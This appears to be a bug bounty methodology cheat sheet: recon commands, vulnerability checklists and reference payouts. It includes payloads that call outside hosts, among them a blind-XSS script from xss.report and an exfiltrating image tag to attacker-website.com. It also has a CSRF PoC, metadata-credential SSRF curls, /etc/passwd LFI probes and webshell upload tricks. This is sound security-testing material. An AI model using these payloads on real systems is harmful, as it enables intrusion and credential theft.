BUG BOUNTY MASTER METHODOLOGY

Chaos kills productivity. Before a single request is sent: read the program rules completely, twice, scope your assets, and lock down your toolchain. Set up the BugBounty_Workspace folder structure: Active_Targets / Completed_Targets / Templates / Tools_and_Scripts / Learning_Notes / Reports_Ready. Keep a master target list, daily hunting logs and a note-taking system.

• Read program rules completely (twice!)
• Identify in-scope assets and domains
• Note out-of-scope restrictions
• Check forbidden endpoints/actions
• Understand acceptable testing methods
• Review past disclosed reports for patterns
• Join program's communication channels
• Burp Suite configured and ready
• Custom wordlists prepared
• VPN / proxy setup verified
• Screenshot tools ready
• Note-taking system established
• Backup documentation method ready

Target:  [TARGET_NAME]
Date:    [DATE]

Subdomains Found:
  - subdomain1.target.com [STATUS_CODE]
  - subdomain2.target.com [STATUS_CODE]
Interesting Findings:
  - 

Port Scan Results:
  - Port 80:  HTTP  [Server Info]
  - Port 443: HTTPS [SSL Details]
  - Port 8080: HTTP [Additional Service]
Service Versions:
  - 
Security Observations:
  - 

Technology Stack Template:
  Web Server: [Apache/Nginx/IIS]
  Framework:  [React/Angular/Vue/PHP/etc.]
  CMS:        [WordPress/Drupal/Custom]
  Database:   [MySQL/PostgreSQL/MongoDB]
  CDN:        [Cloudflare/AWS/etc.]
  Security:   [WAF detected/Headers present]
  Interesting Technologies: -

Content Discovery:
  Directories Found:
    - /admin   [STATUS] - [DESCRIPTION]
    - /api     [STATUS] - [DESCRIPTION]
    - /backup  [STATUS] - [DESCRIPTION]
  Files of Interest:
    - /robots.txt  - [FINDINGS]
    - /sitemap.xml - [ENDPOINTS]
    - /.env        - [ACCESSIBLE Y/N]
  API Endpoints:
    - /api/v1/users
    - /api/v1/auth

Parameters:
  GET:
    - id:     [INTEGER] - User/object identifier
    - search: [STRING]  - Search functionality
    - redirect: [URL]   - Redirect parameter
  POST:
    - username:   [STRING]
    - password:   [STRING]
    - csrf_token: [TOKEN]
  Interesting:
    - debug:  [BOOLEAN] - Debug mode toggle
    - admin:  [BOOLEAN] - Admin access flag

Structure the hunt like a job, not a lottery. Time-block each phase with the pomodoro technique for focus, avoid rabbit holes, and review what worked vs what didn't every week. Use the Target Priority Matrix: high = recently launched features, auth mechanisms, file uploads, API endpoints, admin panels; medium = user input areas, config files, error pages, 3rd-party integrations; low = marketing pages, static docs, already well-tested components.

• Morning (30 min): review active targets, check program updates, plan focus
• Core (4-6h): 1h automated recon
• Core: 2-3h manual testing
• Core: 1h deep dive on interesting findings
• Core: 1h documentation and reporting
• Evening (30 min): document findings, update checklist, plan tomorrow
• Sunday: weekly review, update methodology, clean workspace, learn new tools

Date:             [DATE]
Target:           [TARGET]
What Failed:      [SPECIFIC_FAILURE]
Why It Failed:    [ROOT_CAUSE]
Lesson Learned:   [KEY_INSIGHT]
Prevention:       [HOW_TO_AVOID]

Recon is the foundation. Never touch the target yet — harvest everything publicly available first. Method: ① gather acquisitions (crunchbase.com) → ② identify ASNs → ③ find seed/root domains (reverse WHOIS via DOMLink, ad/analytics relationships via builtwith.com, Google dorks, Shodan) → ④ subdomain discovery (framework begins here) → ⑤ port analysis → ⑥ GitHub dorking → ⑦ httprobe → ⑧ takeover checks. If amass returns new ASN numbers, go back to step ② and re-run from there.

• Identify all domains/subdomains using OSINT
• Google Dorking: site:, inurl:admin, intitle:index.of
• Shodan / Censys for exposed services & banners
• Enumerate ASN, IP ranges, CIDR blocks (bgp.he.net)
• WHOIS / RDAP for registrant info
• Exposed S3 buckets via Google Dorks
• GitHub / GitLab / Bitbucket: secrets, API keys, tokens
• Wayback Machine / archive.org for old endpoints & JS
• LinkedIn & job postings for tech stack disclosure
• Certificate Transparency (crt.sh, certspotter)
• DNS records: A, AAAA, CNAME, MX, TXT, SPF, DMARC
• BGP Toolkit for ASN enumeration
• Harvest emails/usernames with theHarvester
• Pastebin / GitHub Gists for leaked credentials
• Look for .git, .svn, .env, .DS_Store files
• Cloud ranges: monitor AWS/GCP/Azure SSL certs (tls.bufferover.run)

Gather as many subdomains as possible — even ones that aren't active (they come back). Run every source, then merge. Important: configure and provide all necessary API keys for each data source so the tools access their full range of data. Find all subdomains, then always scan all ports.

subfinder -d example.com -all -recursive -o subfinder.txt

assetfinder --subs-only example.com > assetfinder.txt

findomain -t target.com | tee findomain.txt

amass enum -passive -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txt
amass enum -active  -d example.com | cut -d']' -f 2 | awk '{print $1}' | sort -u > amass.txt

amass enum -brute -d [DOMAIN] -rf resolvers.txt

Directly fetch subdomains from public sources with curl — great for manual recon and often reveals hosts missed by automated tools. Scraping sources: infrastructure (Censys, DNSDumpster, Wayback), certificates (crt.sh, CertDB, CertSpotter), search (Google, Yahoo, Baidu), security (VirusTotal, Rapid7 Project Sonar, SecurityTrails).

curl -s https://crt.sh\?q\=\domain.com\&output\=json | jq -r '.[].name_value' | grep -Po '(\w+\.\w+\.\w+)$' > crtsh.txt

curl -s "http://web.archive.org/cdx/search/cdx?url=*.hackerone.com/*&output=text&fl=original&collapse=urlkey" | sort | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sort -u > wayback.txt

curl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=[api-key]&domain=www.nasa.gov" | jq -r '.domain_siblings[]' > virustotal.txt

github-subdomains -d domain.com -t [github_token/github_api_key]

# run 5 times: 4 with 6s sleep, 1 with 10s sleep
github-search --domain target.com && sleep 6
shosubgo -d target.com     # Shodan parser

Combine everything, kill duplicates, then invent subdomains that don't exist yet (alterx permutations) and only keep the ones that actually resolve (dnsx). ShuffleDNS wraps massdns for fast brute force; tailored wordlists (TomNomNom, cewl) beat massive ones. Remember subdomain alterations: www.target.com → ww2.target.com.

cat *.txt | sort -u > final.txt

subfinder -d domain.com | alterx | dnsx
echo domain.com | alterx -enrich | dnsx
echo domain.com | alterx -pp word=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt | dnsx

ffuf -u "https://FUZZ.target.com" -w wordlist.txt -mc 200,301,302

shuffledns -d target.com -w subdomains.txt -r resolvers.txt -o resolved.txt

Expand the attack surface by mapping the org's digital footprint: related domains, IP ranges and subdomains the company actually owns. If amass returns new ASNs, loop back to ASN enumeration and start over. Manual: bgp.he.net → ASN → amass intel.

asnmap -d domain.com | dnsx -silent -resp-only

amass intel -org "nasa"
amass intel -active -cidr 159.69.129.82/32
amass intel -active -asn [asn_no]

curl -s "https://www.virustotal.com/vtapi/v2/domain/report?domain=<DOMAIN>&apikey=[api-key]" | jq -r '.. | .ip_address? // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

curl -s "https://otx.alienvault.com/api/v1/indicators/hostname/<DOMAIN>/url_list?limit=500&page=1" | jq -r '.url_list[]?.result?.urlworker?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

curl -s "https://urlscan.io/api/v1/search/?q=domain:<DOMAIN>&size=10000" | jq -r '.results[]?.page?.ip // empty' | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}'

cat domains.txt | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > amass.txt
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" input.txt | sort -u

shodan search Ssl.cert.subject.CN:"<DOMAIN>" 200 --fields ip_str | httpx-toolkit -sc -title -server -td

Filter down to live, accessible hosts with httpx — note that httpx targets only default ports by default, so always specify the extra frequently-used ports. 200 threads massively speed up large lists. Then take screenshots with Aquatone to spot login pages, admin panels and staging environments at a glance.

cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomains_alive.txt

cat hosts.txt | aquatone
cat hosts.txt | aquatone -ports 80,443,8000,8080,8443
cat hosts.txt | aquatone -ports 80,81,443,591,2082,2087,2095,2096,3000,8000,8001,8008,8080,8083,8443,8834,8888

• Subdomain brute-force with SecLists wordlists
• Subdomain permutation (dev-, stg-, api-, test- prefixes)
• Resolve all subdomains & check live hosts
• Port scanning: common + full range + UDP
• Service version detection & OS fingerprinting
• Web server fingerprinting (Server, X-Powered-By)
• Directory & file brute-forcing
• Vhost routing / virtual host fuzzing
• Identify load balancers & CDNs (Cloudflare bypass)
• Enumerate tech stack (Wappalyzer, WhatWeb, BuiltWith)
• Orphan subdomains pointing to expired services
• Subdomain takeover candidates (CNAME → defunct host)
• Screenshot all live domains

With live subdomains in hand, collect URLs and endpoints from active (katana, hakrawler) and passive (gau, urlfinder) sources, then dedupe. Focus on URLs with extensions that take parameters (.php .asp .aspx .jsp with =) — those are your testing targets.

katana -u livesubdomains.txt -d 2 -o urls.txt
cat urls.txt | hakrawler -u > urls3.txt

cat livesubdomains.txt | gau | sort -u > urls2.txt
urlfinder -d tesla.com | sort -u > urls3.txt
echo example.com | gau --mc 200 | urldedupe > urls.txt

cat urls.txt | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep '=' | sort > output.txt
cat output.txt | sed 's/=.*/=/' > final.txt

cat allurls.txt | gf sqli
cat allurls.txt | gf xss
cat allurls.txt | gf lfi
cat allurls.txt | gf redirect

Nuclei is a template-based scanner for known misconfigurations, CVEs and exposures. Use -bs (batch size = how many templates run at once) and -c (concurrency = how many domains scanned simultaneously) to massively speed up large-scope work.

nuclei -u https://target.com -bs 50 -c 30
nuclei -l live_domains.txt -bs 50 -c 30

Undocumented GET/POST parameters can unlock injections, IDORs or business-logic bypasses — discover them with arjun (or lostfuzzer). Backups/config/log files are a goldmine for information disclosure.

arjun -u https://site.com/endpoint.php -oT arjun_output.txt -t 10 --rate-limit 10 --passive -m GET,POST --headers "User-Agent: Mozilla/5.0"

arjun -u https://site.com/endpoint.php -oT arjun_output.txt -m GET,POST -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10 --rate-limit 10 --headers "User-Agent: Mozilla/5.0"

cat allurls.txt | grep -E "\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5"

cat allurls.txt | grep -E "\.(xls|xml|xlsx|json|pdf|sql|doc|docx|pptx|txt|zip|tar\.gz|tgz|bak|7z|rar|log|cache|secret|db|backup|yml|gz|config|csv|yaml|md|md5|tar|xz|7zip|p12|pem|key|crt|csr|sh|pl|py|java|class|jar|war|ear|sqlitedb|sqlite3|dbf|db3|accdb|mdb|sqlcipher|gitignore|env|ini|conf|properties|plist|cfg)$"

site:*.example.com (ext:doc OR ext:docx OR ext:odt OR ext:pdf OR ext:rtf OR ext:ppt OR ext:pptx OR ext:csv OR ext:xls OR ext:xlsx OR ext:txt OR ext:xml OR ext:json OR ext:zip OR ext:rar OR ext:md OR ext:log OR ext:bak OR ext:conf OR ext:sql)

Reveal hidden directories, admin panels, backups and dev files that aren't linked anywhere. Recursion + extension probing catches the stuff that directory listings miss. The -ac auto-calibration flag keeps false positives down.

dirsearch -u https://example.com --full-url --deep-recursive -r

dirsearch -u https://example.com -e php,cgi,htm,html,shtm,shtml,js,txt,bak,zip,old,conf,log,pl,asp,aspx,jsp,sql,db,sqlite,mdb,tar,gz,7z,rar,json,xml,yml,yaml,ini,java,py,rb,php3,php4,php5 --random-agent --recursive -R 3 -t 20 --exclude-status=404 --follow-redirects --delay=0.1

ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://example.com/FUZZ \
  -fc 400,401,402,403,404,429,500,501,502,503 -recursion -recursion-depth 2 \
  -e .html,.php,.txt,.pdf,.js,.css,.zip,.bak,.old,.log,.json,.xml,.config,.env,.asp,.aspx,.jsp,.gz,.tar,.sql,.db \
  -ac -c -t 100 -r -o results.json \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0" \
  -H "X-Forwarded-For: 127.0.0.1" -H "X-Originating-IP: 127.0.0.1" -H "X-Forwarded-Host: localhost"

ffuf -w seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://ens.domains/FUZZ \
  -fc 401,403,404 -recursion -recursion-depth 2 -e .html,.php,.txt,.pdf \
  -ac -H "User-Agent: Mozilla/5.0" -r -t 60 --rate 100 -c

JS files leak hidden API endpoints, parameter names, hardcoded credentials, tokens, keys, dev comments and debug info — an attack surface invisible in the frontend. Filter by MIME type to focus on JS/HTML pages worth analyzing.

echo example.com | katana -d 3 | grep -E "\.js$" | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/ -c 30
echo domain.com | katana -ps -d 2 | grep -E "\.js$" | nuclei -t /nuclei-templates/http/exposures/ -c 30
cat alljs.txt | nuclei -t /home/coffinxp/nuclei-templates/http/exposures/

cat jsfiles.txt | grep -r -E "aws_access_key|aws_secret_key|api key|passwd|pwd|heroku|slack|firebase|swagger|aws key|password|ftp password|jdbc|db|sql|config|admin|json|gcp|htaccess|.env|ssh key|.git|access key|secret token|oauth_token|oauth_token_secret"

cat allurls.txt | grep -E "\.js$" | httpx-toolkit -mc 200 -content-type \
  | grep -E "application/javascript|text/javascript" | cut -d' ' -f1 \
  | xargs -I% curl -s % | grep -E "(API_KEY|api_key|apikey|secret|token|password)"

echo domain | gau | grep -Eo '(\/[^\/]+)\.(php|asp|aspx|jsp|jsf|cfm|pl|perl|cgi|htm|html)$' \
  | httpx -status-code -mc 200 -content-type | grep -E 'text/html|application/xhtml+xml'

echo domain | gau | grep '\.js$' | httpx -status-code -mc 200 -content-type | grep 'application/javascript'

If the target runs WordPress, enumerate users, plugins, themes and version details to surface outdated components and vulnerable plugins.

wpscan --url https://site.com --disable-tls-checks --api-token <here> \
  -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force

Logins are the front door. Map how sessions are established, whether OAuth/SSO is used, and hunt every bypass. The reference charts value login auth bypass at $850, 2FA/MFA bypass $500, SSO bypass $750, default admin creds $700.

• Username enumeration via timing/message difference
• Test default credentials (admin/admin, admin/password)
• Brute-force login without rate limiting/lockout
• Password reset token leakage in Referer header
• Password reset token: not expiring, reusable, guessable
• Password reset link: host header injection → open redirect
• Account lockout bypass (X-Forwarded-For rotation)
• SQL injection in login fields
• NoSQL injection in login body (MongoDB: {$ne: null})
• LDAP injection in authentication fields
• Login CSRF — missing or bypassable CSRF token
• Remember-me token security (entropy, expiry)
• 2FA/OTP bypass: response manipulation, code reuse, step skip
• 2FA code brute-force without lockout
• SSO token leakage / SAML attacks
• OAuth: missing state → CSRF, open redirect in redirect_uri
• JWT: alg:none, HS256→RS256 confusion, weak secret brute-force
• Session fixation after login
• Concurrent login detection & session invalidation

• Session token entropy & length (minimum 128-bit)
• Session token exposed in URL parameters
• HttpOnly, Secure, SameSite flags on session cookies
• Session not invalidated on logout
• Session not invalidated on password change
• Concurrent sessions allowed without notification
• Session timeout not enforced
• Session token predictability / sequential IDs
• Session fixation ($100)
• Captcha bypass ($200)

Broken object-level authorization (IDOR) is the modern jackpot. Ask per page: what part of CRUD is this? which HTTP verbs work? what parameters? Reference values: non-admin R/W $450, R only $300; admin R/W $800, R only $600; IDOR R/W $600, R only $500.

• IDOR: replace numeric IDs with other users' IDs
• IDOR: GUIDs/UUIDs — try predictable/enumerable values
• IDOR on file download, invoice, profile, document endpoints
• Horizontal privilege escalation (user A → user B data)
• Vertical privilege escalation (user → admin role)
• Parameter tampering: role=admin, isAdmin=true, privilege=1
• HTTP method override: GET→POST via X-HTTP-Method-Override
• Access admin endpoints without admin cookie/header
• Forced browsing: /admin, /dashboard, /config, /debug
• API endpoint enumeration & unauthorized access
• Mass assignment: inject admin fields in user creation
• Path traversal to other users' files
• IDOR in GraphQL queries
• Missing function-level access control in API

Still one of the most dangerous, most impactful vulns. Reference: full SQLi $3000 (must show database info), partial $1500. Run sqlmap and Burp on every single parameter. Prioritize targets using technologies commonly vulnerable to injection (asp/php/jsp).

subfinder -dL subdomains.txt -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
subfinder -d http://example.com -all -silent | httpx-toolkit -td -sc -silent | grep -Ei 'asp|php|jsp|jspx|aspx'

echo http://site.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep -E '\?[^=]+=.+$'

• Classic: error-based, union-based, blind boolean
• Time-based blind (SLEEP(), WAITFOR DELAY)
• Second-order / stored SQLi
• SQLi in headers: User-Agent, X-Forwarded-For, Cookie
• SQLi in JSON/XML body parameters
• SQLi via file upload (malicious filename)
• Out-of-band SQLi via DNS/HTTP interaction
• SQLi in ORDER BY, LIMIT clauses
• Stored procedure injection
• SQLi in search/filter parameters
• NoSQL: MongoDB {$ne:null}, {$gt:''}, {$regex:'.*'}
• NoSQL: operator injection $where, $expr in JSON body
• NoSQL: array injection for auth bypass
• Redis / CouchDB command injection

SSTI detection: reflected input → no XSS output → try to break out with templating syntax (?greeting=data.username}}<tag>), or check if a math expression is evaluated in the response (?greeting=${7*7} → response contains 49). Identify the engine with the PortSwigger template decision tree, then exploit.

• OS command injection: ; | && ` $() newline
• Blind command injection via time delay or DNS OOB
• Template injection (SSTI): {{7*7}}, #{7*7}, ${7*7}
• SSTI in Jinja2, Twig, Freemarker, Pebble, Velocity
• Code injection in eval()/exec() functions
• Expression Language (EL) injection
• Log4Shell: ${jndi:ldap://...}
• Shell injection via file names / upload paths

1. Identify the vuln: reflected input with no XSS (no output / encoded tags / error message) → break out with templating syntax. No change = wrong syntax or not vulnerable.
2. Detect engine: ?greeting=${7*7} → response shows 49; use https://portswigger.net/web-security/images/template-decision-tree.png.
3. Exploit with engine-specific RCE payloads.

Three types: Reflected (script from current request), Stored (from the DB), DOM (flaw in client-side code — take user-controlled source to a sink). Reference: reflected XSS $330 (+ web cache poisoning = $$$), DOM XSS $775, blind XSS $880. When JS eval() evaluates a JSON object: \"-alert(1)}//. Angular: look for ng-app → {{$on.constructor('alert(1)')()}}.

echo "target.com" | gau | gf xss | uro | httpx -silent | Gxss -p Rxss | dalfox

echo "example.com" | gau | qsreplace '<sCript>confirm(1)</sCript>' | xsschecker -match '<sCript>confirm(1)</sCript>' -vuln

echo https://example.com/ | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt
cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txt

ffuf -request xss -request-proto https -w /root/wordlists/xss-payloads.txt -c -mr "<script>alert('XSS')</script>"

cat urls.txt | grep -E "(login|signup|register|forgot|password|reset)" | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/xss/ -severity critical,high

subfinder -d example.com | gau | bxss -payload '">"<script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"
subfinder -d example.com | gau | grep "&" | bxss -appendMode -payload '">"<script src=https://xss.report/c/coffinxp></script>' -parameters
cat xss_params.txt | dalfox pipe --blind https://your-collaborator-url --waf-bypass --silence

• Reflected XSS in GET/POST parameters
• Stored XSS in comments, profiles, messages, file names
• DOM XSS: document.write, innerHTML, eval with URL input
• XSS via headers: X-Forwarded-For, Referer, User-Agent
• XSS in JSON responses with wrong Content-Type
• XSS in SVG file upload
• XSS in PDF/CSV export (formula injection)
• Filter bypass: encoding, case variation, protocol handlers
• Polyglot XSS payloads
• mXSS (mutation XSS) in rich text editors
• XSS → account takeover via cookie/CSRF-token theft
• CSP bypass analysis

1. HTML sinks (easy): send an MD5 sum through the source → search HTML in DevTools (Ctrl+F) for it → refine payload.
2. JS execution sinks (hard): search JS for referenced sources (Ctrl+Shift+F) → set breakpoints and follow the source's value → if passed to a variable, trace it → if it reaches a sink, refine payload.

# Input value renders inside: <input ... value="[PAYLOAD]"/>
# Set payload as a GET param so its value is [PAYLOAD]:
> "><img src='//attacker-website.com?
# Result:  <input ... value=""><img src='//attacker-website.com?[SENSITIVE DATA]"/>

XXE via file read of SYSTEM entities, OOB exfiltration, and XML-based uploads. Reference: XXE full $1500, limited $500.

• Classic XXE: file read via SYSTEM entity
• Blind XXE via OOB interaction (DNS/HTTP callback)
• XXE in DOCX, XLSX, SVG, PDF upload
• XXE in SOAP endpoints
• XInclude injection
• XXE via parameter entities

Make the server request internal/external resources → cloud metadata, internal port scans, even RCE when chained. Reference: SSRF full $1500 (must allow full interaction with an internal app), limited $500 (interaction with internal IP/port).

cat urls.txt | grep -E 'url=|uri=|redirect=|next=|data=|path=|dest=|proxy=|file=|img=|out=|continue=' | sort -u
cat urls.txt | grep -i 'webhook\|callback\|upload\|fetch\|import\|api' | sort -u
cat urls.txt | nuclei -t nuclei-templates/vulnerabilities/ssrf/

curl "https://target.com/page?url=http://127.0.0.1:80/"
curl "https://target.com/page?url=http://localhost:8080"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/api?endpoint=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

http://127.0.0.1%23.google.com
http://127.1
http://[::1]/
http://0x7f000001
http://017700000001
# DNS rebinding / callback for blind SSRF:
curl "https://target.com/page?url=http://yourdomain.burpcollaborator.net"

• SSRF via URL parameters pointing to internal services
• Cloud metadata: 169.254.169.254, metadata.google.internal
• Blind SSRF via DNS interaction
• Filter bypass: 0177.1, http://2130706433, IPv6
• SSRF via URL redirect in webhooks
• SSRF to internal port scanning
• SSRF in PDF generators, image fetchers, webhook URLs
• SSRF in file import features (URL-based)

CSRF requires 3 conditions: ① a relevant action ② cookie-based session handling (no Authorization headers) ③ no unpredictable request parameters (CSRF token / must-know password). Signs: tokens don't appear invalidated when sent or on logout; if CSRF exists, ask — can this endpoint chain to an open redirect? Reference: CSRF high $500, low $400.

• State-changing GET requests (should be POST)
• CSRF token missing on sensitive actions
• CSRF token not tied to session
• CSRF token reuse across sessions
• SameSite cookie attribute not set
• JSON CSRF with text/plain Content-Type
• CSRF on login/logout
• Referer header-based CSRF protection bypass
• X-Frame-Options header missing (clickjacking)
• CSP frame-ancestors not set
• UI redressing via iframe
• Clickjacking on sensitive actions (delete, transfer, settings)

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

1. Select the targeted request → Right-click → Engagement tools → Generate CSRF PoC.
2. Customize the generated PoC as needed → host it (e.g. AWS S3).

Redirect users to malicious sites from trusted domains — phishing, session hijacking, and a prime chaining candidate (Open Redirect + OAuth = token theft). Ask: can we redirect to different paths / subdomains / domains?

cat final.txt | grep -Pi "returnUrl=|continue=|dest=|destination=|forward=|go=|goto=|login\?to=|login_url=|logout=|next=|next_page=|out=|g=|redir=|redirect=|redirect_to=|redirect_uri=|redirect_url=|return=|returnTo=|return_path=|return_to=|return_url=|rurl=|site=|target=|to=|uri=|url=|qurl=|rit_url=|jump=|jump_url=|originUrl=|origin=|Url=|desturl=|u=|Redirect=|location=|ReturnUrl=|redirect_url=|redirect_to=|forward_to=|forward_url=|destination_url=|jump_to=|go_to=|goto_url=|target_url=|redirect_link=" | tee redirect_params.txt

final.txt | gf redirect | uro | sort -u | tee redirect_params.txt

cat redirect_params.txt | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

subfinder -d vulnweb.com -all | httpx-toolkit -silent | gau | gf redirect | uro | qsreplace "https://evil.com" | httpx-toolkit -silent -fr -mr "evil.com"

cat redirect_params.txt | while read url; do
  cat loxs/payloads/or.txt | while read payload; do
    echo "$url" | qsreplace "$payload"
  done
done | httpx-toolkit -silent -fr -mr "google.com"

• Open redirect in ?redirect=, ?next=, ?url=, ?return= params
• Open redirect via URL fragment (#//evil.com)
• Open redirect in OAuth redirect_uri
• JavaScript-based open redirect (window.location)
• Open redirect via CRLF injection
• Chain open redirect → phishing / OAuth token theft

Stack traces, internal IPs, version banners, leaked keys and exposed .git/ all leak attack surface. Reference bounty chart: leaked high-priv creds $700, API keys $500, sensitive client info $300, sensitive dir/file $300, source code $150, software architecture $150, network topology $150.

cat domains.txt | grep "SUCCESS" | gf urls | httpx-toolkit -sc -server -cl -path "/.git/" -mc 200 -location -ms "Index of" -probe

• Stack traces / debug errors in responses
• Internal IP addresses in headers or responses
• Software version disclosure in Server, X-Powered-By
• AWS/GCP/Azure keys in JS files or responses
• Private keys / certificates in accessible paths
• API keys in JS source files (client-side)
• Verbose error messages revealing DB structure
• Directory listing enabled
• robots.txt / sitemap.xml revealing hidden paths
• Backup files: .bak, .old, .swp, ~, .zip accessible
• Source code disclosure via .git, /.git/config
• phpinfo / phpinfo.php exposure
• Exposed Swagger/OpenAPI docs with sensitive endpoints
• GraphQL introspection enabled in production
• Exposed .env, config.php, web.config, application.properties
• Source maps (.js.map) revealing unminified source

Upload → execution is RCE-lite. LFI → RCE via log poisoning. Reference: unrestricted file upload $180, file inclusion/path traversal $850.

nuclei -l subs.txt -t /root/nuclei-templates/http/vulnerabilities/generic/generic-linux-lfi.yaml -c 30

echo "https://example.com/" | gau | gf lfi | uro | sed 's/=.*/=/' | qsreplace "FUZZ" | sort -u \
  | xargs -I{} ffuf -u {} -w payloads/lfi.txt -c -mr "root:(x|\*|\$[^\:]*):0:0:" -v

gau target.com | gf lfi | qsreplace "/etc/passwd" \
  | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

echo 'https://example.com/index.php?page=' | httpx-toolkit -paths payloads/lfi.txt -threads 50 -random-agent -mc 200 -mr "root:(x|\*|\$[^\:]*):0:0:"

ffuf -request lfi -request-proto https -w /root/wordlists/offensive\ payloads/LFI\ payload.txt -c -mr "root:"

• Upload webshell as image (bypass extension filter)
• MIME spoofing: Content-Type image/png with .php file
• Double extension: shell.php.jpg → shell.php
• Null byte injection: shell.php%00.jpg
• Upload .htaccess to override execution rules
• SVG with embedded XSS payload
• HTML file with CSRF payload
• Oversized file upload for DoS
• Filename path traversal: ../../etc/passwd
• Zip → zip-slip attack
• EXIF XSS in image metadata
• Are uploaded files publicly accessible?
• Path traversal: ../../../etc/passwd
• URL-encoded traversal: %2e%2e%2f
• Double encoding: %252e%252e%252f
• LFI via php://filter/read=... wrappers
• LFI → RCE via log poisoning
• LFI via /proc/self/environ
• RFI with external file inclusion

Think like the application — "where would I screw up?" Money and privilege flaws are business-critical (often re-bug bounty gold). Race conditions need Turbo Intruder.

• Negative values in price/quantity fields
• Coupon code reuse / stacking multiple discounts
• Skip payment step in checkout flow
• Race condition in coupon, referral bonus, inventory
• Bypass email verification to access account
• Manipulate subscription status in request
• Access premium features with free account (tampering)
• Order manipulation after placement
• Balance manipulation: refund without return
• Transfer to self or negative amount transfer
• Exploit rounding errors in financial calculations
• Bypass age/region restriction
• Workflow bypass: skip steps in multi-step form
• IDOR in downloadable invoice/receipt

APIs multiply your attack surface. Test BOLA/BFLA, old versions, method confusion, and GraphQL specifically (introspection, batching, field suggestions).

• IDOR via API (GET/PUT/DELETE /users/{id})
• Mass assignment: inject admin fields in POST body
• Unrestricted HTTP methods (PUT, DELETE, PATCH)
• Missing auth on sensitive API endpoints
• API versioning: test old /v1/ endpoints
• Rate limiting absent on API endpoints
• Verbose API errors with stack traces
• Insecure deserialization in API payload
• BOLA (Broken Object Level Authorization)
• BFLA (Broken Function Level Authorization)
• Parameter pollution: duplicate parameters
• GraphQL: introspection, batch attacks, field suggestion
• GraphQL IDOR via mutations
• API key in URL vs Authorization header
• Lack of input validation on API fields
• gRPC / WebSocket endpoint testing

Misconfigured CORS lets unauthorized origins read sensitive data / act across origins → account takeover or data theft. Then verify with a CORS exploit PoC (CorsExploit.html). CORS misconfig + XSS = account takeover (chaining).

curl -H "Origin: http://example.com" -I https://domain.com/wp-json/
curl -H "Origin: http://example.com" -I https://domain.com/wp-json/ \
  | grep -i -e "access-control-allow-origin" -e "access-control-allow-methods" -e "access-control-allow-credentials"

cat example.coms.txt | httpx -silent | nuclei -t nuclei-templates/vulnerabilities/cors/ -o cors_results.txt

python3 corsy.py -i subdomains_alive.txt -t 10 --headers "User-Agent: GoogleBot\nCookie: SESSION=Hacked"
python3 CORScanner.py -u https://example.com -d -t 10

• Origin reflection: ACAO mirrors input
• Wildcard CORS with credentials (ACA-Credentials: true)
• Trusted subdomain CORS bypass
• Null origin allowed (file:// or sandboxed iframe)
• Pre-domain match bypass: evil.target.com trusted
• Post-domain match: target.com.evil.com accepted
• CORS on sensitive endpoints: /api/user/profile, /api/orders
• Missing HSTS
• Missing / weak Content-Security-Policy
• Missing X-Content-Type-Options: nosniff
• Missing X-Frame-Options (clickjacking)
• Missing Referrer-Policy
• Missing Permissions-Policy
• Cache-Control on sensitive responses
• Info leak in headers (Server, X-Powered-By, X-AspNet-Version)

Find services the web UI never shows. Recommended flow: masscan (quick, needs IP list) → dnmasscan (resolves domains → passes IPs) → nmap deep dive on open ports → brutespray for default creds.

naabu -list ip.txt -c 50 -nmap-cli 'nmap -sV -SC' -o naabu-full.txt

nmap -p- --min-rate 1000 -T4 -A target.com -oA fullscan

masscan -p0-65535 target.com --rate 100000 -oG masscan-results.txt

• Port scan & service enumeration
• FTP anonymous login
• SSH: default/weak credentials, old version exploit
• Telnet exposed
• SMB: null session, EternalBlue (MS17-010)
• RDP: BlueKeep, weak credentials
• DNS zone transfer attempt
• DNS cache poisoning / spoofing
• ARP spoofing / MitM on LAN
• SSL/TLS: BEAST, POODLE, Heartbleed, weak ciphers
• SMTP open relay
• SNMP default community strings (public/private)
• VPN endpoint vulnerabilities
• Exposed admin interfaces (Kibana, Redis, MongoDB no-auth)
• HTTP → HTTPS downgrade (HSTS bypass)

Misconfigured cloud storage is a classic P1. Reference: AWS misconfigs $450 (S3 bucket plundering).

• S3 bucket: public read/write, bucket takeover
• GCS bucket: public access, CORS misconfiguration
